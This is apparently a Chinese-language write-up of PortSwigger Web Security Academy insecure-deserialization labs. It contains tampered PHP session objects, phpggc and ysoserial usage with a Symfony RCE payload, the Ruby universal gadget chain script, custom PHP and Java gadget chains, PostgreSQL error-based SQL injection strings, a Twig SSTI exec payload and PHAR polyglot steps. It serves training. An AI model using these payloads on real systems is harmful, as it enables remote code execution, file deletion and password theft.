Portswigger web security academy:Insecure deserialization
Insecure deserialization
目录- Insecure deserialization
- Modifying serialized objects
 - Modifying serialized data types
 - Using application functionality to exploit insecure deserialization
 - Arbitrary object injection in PHP
 - Exploiting Java deserialization with Apache Commons
 - Exploiting PHP deserialization with a pre-built gadget chain
 - Exploiting Ruby deserialization using a documented gadget chain
 - Developing a custom gadget chain for Java deserialization
 - Developing a custom gadget chain for PHP deserialization
 - Using PHAR deserialization to deploy a custom gadget chain
 
 
Modifying serialized objects
- 
题目描述
- 此lab使用了 基于序列化的session机制
 - 可以借此进行权限提升
 
 - 
要求
- 获取管理员权限
 - 删除
carlos的账号 
 - 
解题过程
- 
登录后抓包发现session使用的base64编码(本身进行了两次url编码)
GET /my-account HTTP/1.1 Host: aca21f331f8595648000177b00a00042.web-security-academy.net Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%253d - 
解码后
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;},是一个PHP的序列化对象,可以看到有变量admin=0,修改为admin=1,因为变量长度没有变化,所以不需要修改其他内容O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
 - 
按照base64+两次url编码的顺序编码
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%253d
 - 
替换session(可以直接修改浏览器里的session,或者用burp一步一步改),删除账号
 
 - 
 
Modifying serialized data types
- 
题目描述
- 此lab使用了 基于序列化的session机制
 - 可以借此绕过认证机制
 
 - 
要求
- 获取管理员权限
 - 删除
carlos的账号 
 - 
解题过程
- 
抓包发现与之前相同的session
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"sei0fst5vbt6xlzi5its2z78mabx3eq4";}- 有两个属性
username, access_token,猜测会进行username + access_token的组合校验 
 - 有两个属性
 - 
修改
username+access_tokenO:4:"User":2:{s:8:"username";s:5:"admin";s:12:"access_token";i:0;}- 经过测试,
username=administrator 
 - 
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;} - 
登上去删除账号即可
 
 - 
 
Using application functionality to exploit insecure deserialization
- 
题目描述
- 此lab使用了 基于序列化的session机制
 - 某个特性会调用危险的方法
 
 - 
要求
- 删除
morale.txt 
 - 删除
 - 
解题过程
- 
还是先看session
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rw7vjg7lnfh886kccokzx9mi2zgi1iwl";s:11:"avatar_link";s:19:"users/wiener/avatar";} - 
存在头像路径
avatar_link属性,而且有delete account功能,猜测删除账号时会删除头像 - 
修改session
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rw7vjg7lnfh886kccokzx9mi2zgi1iwl";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";} 
 - 
 
Arbitrary object injection in PHP
- 
题目描述
- 此lab使用了 基于序列化的session机制 ,并且会反序列化任意对象
 
 - 
要求
- 删除
/home/carlos/morale.txt 
 - 删除
 - 
解题过程
- 
查看session
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"a8foq3v2v7sa58oq0z7twrsv2pujfp7v";}- 
这里卡住了,不知道有什么类/方法可以利用,去看了下hint,有备份文件,找了半天,在源码里找到
 - 
直接访问
/libs/CustomTemplate.php~,得到源码<?php class CustomTemplate { private $template_file_path; private $lock_file_path; public function __construct($template_file_path) { $this->template_file_path = $template_file_path; $this->lock_file_path = $template_file_path . ".lock"; } private function isTemplateLocked() { return file_exists($this->lock_file_path); } public function getTemplate() { return file_get_contents($this->template_file_path); } public function saveTemplate($template) { if (!isTemplateLocked()) { if (file_put_contents($this->lock_file_path, "") === false) { throw new Exception("Could not write to " . $this->lock_file_path); } if (file_put_contents($this->template_file_path, $template) === false) { throw new Exception("Could not write to " . $this->template_file_path); } } } function __destruct() { // Carlos thought this would be a good idea if (file_exists($this->lock_file_path)) { unlink($this->lock_file_path); } } } ?> 
 - 
 - 
源码中也有提示,
__destruct函数中有unlink(删除文件)函数,构造序列化对象O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}- 但是使用本地php(7.x)序列化出来的字符串与这个不一样
O:14:"CustomTemplate":2:{s:34:"CustomTemplatetemplate_file_path";s:23:"/home/carlos/morale.txt";s:30:"CustomTemplatelock_file_path";s:23:"/home/carlos/morale.txt";}- 如果有人知道原因,麻烦告知一下,谢谢。
 
 
 
 - 
 
Exploiting Java deserialization with Apache Commons
- 
题目描述
- 此lab使用了 基于序列化的session机制,并且使用了
Apache Commons Collections库 
 - 此lab使用了 基于序列化的session机制,并且使用了
 - 
要求
- 借助
ysoserial构造exp进行rce,并删除/home/carlos/morale.txt 
 - 借助
 - 
解题过程
- 
从题目描述中得知使用了
Collections库,借助Collections生成exp - 
github:ysoserial
 - 
用法:
- 
编译出jar包
 - 
java -jar ysoserial-master-[version]-all.jar [CLASS] '[CMD]' - 
这里给出一个python调用的脚本(linux下用不到)
import base64 import subprocess def ysoserial(cmd, class_='CommonsCollections4'): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-138dc36bd2-1.jar', class_, cmd], stdout=subprocess.PIPE) exp = base64.b64encode(popen.stdout.read()) return exp 
 - 
 
 - 
 
Exploiting PHP deserialization with a pre-built gadget chain
- 
题目描述
- 此lab使用了 基于序列化的session机制
 - 使用了一个常见的php框架
 
 - 
要求
- 借助
phpggc构造序列化对象进行rce - 删除
/home/carlos/morale.txt 
 - 借助
 - 
解题过程
- 
先看session
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJrNjNycmYwZ2lsMjM1emduOGx3Y2duNzRoN2JpZngxaiI7fQ==","sig_hmac_sha1":"ec08154086a0925243d33236c778cf2144e71a2d"}token也是base64,解码:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"k63rrf0gil235zgn8lwcgn74h7bifx1j";}- 可以看到seesion里有字段
sig_hmac_sha1签名,那么我们不仅需要构造反序列化串,还要获取正确的签名 
 - 可以看到seesion里有字段
 - 
下载phpggc (放在linux下使用)
- 需要知道框架才能使用,但无法确定
 - 源码里仍然有提示,访问
/cgi-bin/phpinfo.php,但里面只有secret_key,没有框架标识信息 
 - 
先随便选一个payload试试
- 
用github里示例payload
./phpggc Symfony/RCE1 'rm /home/carlos/morale.txt' | base64 - 
Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2 NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdl QnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNo ZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255 XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoi cm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30K - 
用secret_key,按照session格式签名
用法:
hash_hmac('sha1', $string , $key); - 
组合
{"token":"Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdlQnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30K","sig_hmac_sha1":"f46fa06209104200aff57cb6562c7e3487d0f8ea"} - 
签名错了,而且还爆出了架构信息
Internal Server Error: Symfony Version: 4.3.6,说明用的没有错 - 
签名错的原因:在linux下运行
xxx | base64会自动换行。。。可以用参数-w 0来去掉换行 
 - 
 
 - 
 
Exploiting Ruby deserialization using a documented gadget chain
- 
题目描述
- 此lab使用了 基于序列化的session机制和Ruby on Rails框架(存在RCE利用链)
 
 - 
要求
- 删除
rm /home/carlos/morale.txt 
 - 删除
 - 
解题过程
- 
对Ruby on Rails不熟悉,搜出来几种RCE,瞅了下solution,提示去看Ruby 2.x Universal RCE Gadget Chain
- 
里面有ruby脚本,修改payload,然后放到在线网站跑一下
#!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt") #命令在这里 puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) 
 - 
 - 
用payload替换cookie(还是存在换行问题,删掉即可)
 
 - 
 
Developing a custom gadget chain for Java deserialization
该来的expert总会来的,一来还是仨
- 
题目描述
- 此lab使用了 基于序列化的session机制
 
 - 
要求
- 构造反序列化利用链,获取管理员密码,并删除
carlos的账号 
 - 构造反序列化利用链,获取管理员密码,并删除
 - 
解题过程
- 
前段时间学了java sec code,里面有反序列化的内容,大概了解一些,先努力看看
- 题目要求也算是个提示,获取密码,很可能是任意文件读取
 
 - 
在源码中发现
- 
里面有如下代码
package data.session.token; import java.io.Serializable; public class AccessTokenUser implements Serializable { private final String username; private final String accessToken; public AccessTokenUser(String username, String accessToken) { this.username = username; this.accessToken = accessToken; } public String getUsername() { return username; } public String getAccessToken() { return accessToken; } }看了下并没有什么用?
 - 
去看了下
/backup目录,发现还有一个ProductTemplate.javapackage data.productcatalog; import common.db.ConnectionBuilder; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class ProductTemplate implements Serializable { static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); ConnectionBuilder connectionBuilder = ConnectionBuilder.from( "org.postgresql.Driver", "postgresql", "localhost", 5432, "postgres", "postgres", "password" ).withAutoCommit(); try { Connection connect = connectionBuilder.connect(30); String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); Statement statement = connect.createStatement(); ResultSet resultSet = statement.executeQuery(sql); if (!resultSet.next()) { return; } product = Product.from(resultSet); } catch (SQLException e) { throw new IOException(e); } } public String getId() { return id; } public Product getProduct() { return product; } } - 
注意看41 ,42行,直接进行参数拼接,而且没有进行预编译,也就是说可以借助这个点进行SQL注入
 - 
但是这个注入点是在readObject之后,也就是说我们需要构造能触发这个函数的反序列化利用链
 
 - 
 - 
尝试构造反序列化利用链
- 
readObject方法在
AccessTokenUser里应该也有的(反序列化session) - 
所以需要构造有特定id的
ProductTemplate类,然后序列化,用session传入进行sql注入 - 
但是java代码写起来有点困难,这里借助了官方的solution on github 需要注意的是,要构建与
package data.productcatalog;相同的目录结构,以及空的Product类(避免报错)- 这里有个问题,为什么报错提示不能在不同类之间转换,但仍然执行了sql查询
 
 - 
再之后的sql注入,需要注意几点
postgresql的特性- 
注释符是
-- - 
仍然可以使用order by
 - 
使用union时,要求对应列的类型相同
 - 
报错注入用法
cast(needed_data as numeric)needed_data为字符串时,会报错 - 
当sql查询成功时会报
Internal Server Error - 
爆表名
' union select null,null,null,CAST((SELECT schemaname FROM pg_tables limit 1 offset 3)::text AS NUMERIC),null,null,null,null -- - 
查数据
' union select null,null,null,CAST(password AS NUMERIC),null,null,null,null from users -- 
 - 
 
 - 
 
 - 
 
Developing a custom gadget chain for PHP deserialization
- 
题目描述
- 此lab使用了 基于序列化的session机制
 
 - 
要求
- 构造反序列化利用链进行RCE
 rm /home/carlos/morale.txt
 - 
解题过程
- 
还是一样,源码里给了目录
/cgi-bin/libs/CustomTemplate.php- 
访问
/cgi-bin/libs/CustomTemplate.php~ - 
注释是简单的分析
<?php class CustomTemplate { private $default_desc_type; private $desc; public $product; public function __construct($desc_type='HTML_DESC') { $this->desc = new Description(); // $this->desc 设置为 DefaultMap类,且声明时:使callback == eval $this->default_desc_type = $desc_type; // $this->default_desc_type 设置为 "system('rm /home/carlos/morale.txt')" $this->build_product(); } public function __sleep() { // 在序列化之前执行,无关 return ["default_desc_type", "desc"]; } public function __wakeup() { // 在反序列化之后立即被调用,需要通过build_product()进行rce $this->build_product(); } private function build_product() { $this->product = new Product($this->default_desc_type, $this->desc); // 参照 Product->__construct: ($this->desc)->($this->default_desc_type) // 实际调用的是 DefaultMap->未声明变量"system('rm /home/carlos/morale.txt')" // 进而触发 __get() } } class Product { public $desc; public function __construct($default_desc_type, $desc) { $this->desc = $desc->$default_desc_type; } } class Description { // 没啥用 public $HTML_DESC; public $TEXT_DESC; public function __construct() { // @Carlos, what were you thinking with these descriptions? Please refactor! $this->HTML_DESC = 'This product is cool in html
'; $this->TEXT_DESC = 'This product is cool in text'; } } class DefaultMap { private $callback; public function __construct($callback) { $this->callback = $callback; } public function __get($name) { // 读取不可访问属性的值时执行 return call_user_func($this->callback, $name); // 最终调用eval system('rm /home/carlos/morale.txt') } } ?> 
 - 
 - 
但在之后的测试中,发现
call_user_func()函数的特性:可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。
- 
一开始测试了
assert,但是报错了,因为在PHP7之后,assert不能执行动态参数 - 
然后突然想到!我既然要用
system,为啥不把$callback直接设置成system呢!!!(脏话) 
 - 
 - 
最终的exp
<?php class CustomTemplate { private $default_desc_type; private $desc; public $product; public function __construct() { $this->desc = new DefaultMap("system"); // $this->desc 设置为 callback == system 的 DefaultMap类 $this->default_desc_type = "rm /home/carlos/morale.txt"; // $this->default_desc_type 设置为 "rm /home/carlos/morale.txt" $this->build_product(); } private function build_product() { $this->product = new Product($this->default_desc_type, $this->desc); // // 参照 Product->__construct: ($this->desc)->($this->default_desc_type) // 实际调用的是 DefaultMap->"rm /home/carlos/morale.txt"(不存在该变量) // 进而触发 __get() } } class Product { public $desc; public function __construct($default_desc_type, $desc) { $this->desc = $desc->$default_desc_type; } } class DefaultMap { private $callback; public function __construct($callback) { $this->callback = $callback; } public function __get($name) { // 读取不可访问属性的值时执行 return call_user_func($this->callback, $name); // 最终调用system('rm /home/carlos/morale.txt') } } $obj = new CustomTemplate(); echo base64_encode(serialize($obj)); ?> 
 - 
 
Using PHAR deserialization to deploy a custom gadget chain
- 
题目描述
- 此lab不需要显式地使用反序列化,然而,如果你把
PHAR反序列化和其他高级的hacking技术组合起来,你仍然可以RCE 
 - 此lab不需要显式地使用反序列化,然而,如果你把
 - 
要求
rm /home/carlos/morale.txt
 - 
解题过程
phar反序列化之前做过相关的题,可以通过上传
phar文件,并调用内部方法进行RCE- 
登录之后发现可以上传头像,发现备份文件并不存在,挨着访问目录,发现
/cgi-bin/可以访问,找到俩备份文件- 
CustomTemplate.php看起来能用得到(有unlink)<?php class CustomTemplate { private $template_file_path; public function __construct($template_file_path) { $this->template_file_path = $template_file_path; } private function isTemplateLocked() { return file_exists($this->lockFilePath()); } public function getTemplate() { return file_get_contents($this->template_file_path); } public function saveTemplate($template) { if (!isTemplateLocked()) { if (file_put_contents($this->lockFilePath(), "") === false) { throw new Exception("Could not write to " . $this->lockFilePath()); } if (file_put_contents($this->template_file_path, $template) === false) { throw new Exception("Could not write to " . $this->template_file_path); } } } function __destruct() { // Carlos thought this would be a good idea @unlink($this->lockFilePath()); } private function lockFilePath() { return 'templates/' . $this->template_file_path . '.lock'; } } ?>- 虽然有unlink,但是unlink获取路径调用的是
lockFilePath()函数,最后会加.lock后缀,且php7不支持00截断,所以单一个CustomTemplate不能完成 
 - 虽然有unlink,但是unlink获取路径调用的是
 - 
saveTemplate函数可以写文件(可不可以写shell呢) 
 - 
 - 
Blog.php<?php require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php'); class Blog { public $user; public $desc; private $twig; public function __construct($user, $desc) { $this->user = $user; $this->desc = $desc; } public function __toString() { return $this->twig->render('index', ['user' => $this->user]); } public function __wakeup() { $loader = new Twig_Loader_Array([ 'index' => $this->desc, ]); $this->twig = new Twig_Environment($loader); } public function __sleep() { return ["user", "desc"]; } } ?>Blog类里可以看到有熟悉的render模板渲染函数,去查了下twig的ssti{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
 - 
理一下思路
- 
利用
blog里twig的ssti --> 构造可以ssti的序列化blog对象class Blog {} $o = new Blog(); $o->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}'; - 
利用头像上传功能传上去
 - 
再用查看头像的接口,借助
phar://协议完成序列化 - 
--------------------------------------------- - 
然后文件上传卡住了,像是二次渲染
 - 
用solution里提到的工具phar-jpg-polyglot 进行phar->jpg的生成
 - 
但访问
/cgi-bin/avatar.php?avatar=phar://wiener的时候返回了404 而且没有提示solved- 
看一下最后的反序列化串,没什么问题
O:4:"Blog":2:{s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";s:4:"user";s:5:"r3col";}} - 
phar包也不会有问题(用的经过验证的工具)
 - 
那就是phar的触发条件没达成,看了一下,phar包反序列化需要用到以下函数
include include_once require require_once fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile 加粗的四个是源码中出现的,但是这并不能直接调用
 - 
看一个phar反序列化的例子
<?php $filename=@$_GET['filename']; echo 'please input a filename'.'
'; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } if(file_exists($filename)){ $a = new AnyClass(); } else{ echo 'file is not exists'; } ?> POC <?php class AnyClass{ var $output = ''; } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?> 访问 ?filename=phar://phar.gif/test (通过访问phar包内的内容可以触发反序列化) 可以看到这里是file_exists直接读入了 phar://xxxxx - 
但在这个题目中我们是通过avatar.php的头像读取接口进行phar://xxx包含的,也就是说要触发phar://xxx反序列化,需要在avatar.php中对?avatar=phar://wiener使用上述24个函数中的其中一个。 - 
这也就是为什么我觉得题目的solution奇怪。如果avatar.php不能触发phar反序列化,那么solution给的 利用CustomTemplate进行触发phar反序列化就不可能执行,因为这种情况下,需要先在avatar.php触发反序列化(实例化CustomTemplate类)才能进入下一步如果avatar.php可以触发phar反序列化,
 - 
在怀疑的过程中,发现自己在分析利用链的时候忘了
render()函数!也就解释了为什么需要用CustomTemplate:用'templates/' . $this->template_file_path . '.lock'触发Blog->__toString() - 
所以利用链应该是
Blog->wakeup() //把ssti的exp放在index里 Customplate->__destruct() // Customplate类调用析构函数,触发lockFilePath()方法 Customplate->lockFilePath() // 在lockFilePath()方法中,存在'templates/' . $this->template_file_path . '.lock'字符串连接 // 这会期望$this->template_file_path(Blog类)返回字符串,进而触发__toString()方法 Blog->__toString() // 调用render 执行ssti exp - 
按照上面的利用链重新构造,成功solved
 - 
但是solution里的
file_exists函数还是没用到(可能是用来提示的?) 
 - 
 
 - 
 - 
本地测一下利用链
 
 -